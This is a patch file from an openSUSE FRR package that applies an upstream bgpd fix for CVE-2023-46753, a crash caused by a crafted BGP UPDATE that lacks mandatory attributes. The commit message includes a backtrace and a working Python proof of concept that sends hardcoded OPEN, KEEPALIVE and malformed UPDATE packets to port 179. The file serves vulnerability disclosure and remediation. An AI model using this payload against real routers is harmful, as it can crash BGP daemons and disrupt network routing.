Marcus Meissner
5c09118e23
- Apply upstream fix for a crash due to a crafted BGP UPDATE message (CVE-2023-46753,bsc#1216626,21418d64af). [+ 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch] - Apply upstream fix for a crash due to mishandled malformed MP_REACH_NLRI data (CVE-2023-46752,bsc#1216627,b08afc81c6). [+ 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch] OBS-URL: https://build.opensuse.org/request/show/1121202 OBS-URL: https://build.opensuse.org/package/show/network/frr?expand=0&rev=55
116 lines
4.4 KiB
Diff
116 lines
4.4 KiB
Diff
From 1fdbfffbe343ad63c32ff37998300b0b4f67d8fb Mon Sep 17 00:00:00 2001
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From: Donatas Abraitis <donatas@opensourcerouting.org>
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Date: Mon, 23 Oct 2023 23:34:10 +0300
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Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE
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message
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Upstream: yes
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References: CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/commits/21418d64af11553c402f932b0311c812d98ac3e4
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If we send a crafted BGP UPDATE message without mandatory attributes, we do
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not check if the length of the path attributes is zero or not. We only check
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if attr->flag is at least set or not. Imagine we send only unknown transit
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attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
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capability is received.
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A crash:
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```
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bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
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bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
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BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
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BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
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BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
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BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
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BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
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BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
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BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
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BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
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BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
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BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
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BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
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BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
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BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
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BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
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BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
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```
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Sending:
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```
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import socket
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import time
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OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
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b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
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b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
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b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
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b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
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b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
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b"\x80\x00\x00\x00")
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KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
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b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
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UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect(('127.0.0.2', 179))
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s.send(OPEN)
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data = s.recv(1024)
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s.send(KEEPALIVE)
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data = s.recv(1024)
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s.send(UPDATE)
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data = s.recv(1024)
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time.sleep(1000)
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s.close()
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```
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Reported-by: Iggy Frankovic <iggyfran@amazon.com>
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Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
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(cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9)
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Signed-off-by: Marius Tomaschewski <mt@suse.com>
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diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
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index 188393b752..5c028c854c 100644
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--- a/bgpd/bgp_attr.c
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+++ b/bgpd/bgp_attr.c
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@@ -3098,13 +3098,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args)
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}
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/* Well-known attribute check. */
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-static int bgp_attr_check(struct peer *peer, struct attr *attr)
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+static int bgp_attr_check(struct peer *peer, struct attr *attr,
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+ bgp_size_t length)
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{
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uint8_t type = 0;
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/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
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* empty UPDATE. */
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- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
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+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
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+ !length)
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return BGP_ATTR_PARSE_PROCEED;
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/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
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@@ -3156,7 +3158,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
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enum bgp_attr_parse_ret ret;
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uint8_t flag = 0;
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uint8_t type = 0;
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- bgp_size_t length;
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+ bgp_size_t length = 0;
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uint8_t *startp, *endp;
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uint8_t *attr_endp;
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uint8_t seen[BGP_ATTR_BITMAP_SIZE];
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@@ -3478,7 +3480,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
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}
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/* Check all mandatory well-known attributes are present */
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- ret = bgp_attr_check(peer, attr);
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+ ret = bgp_attr_check(peer, attr, length);
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if (ret < 0)
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goto done;
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--
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2.35.3
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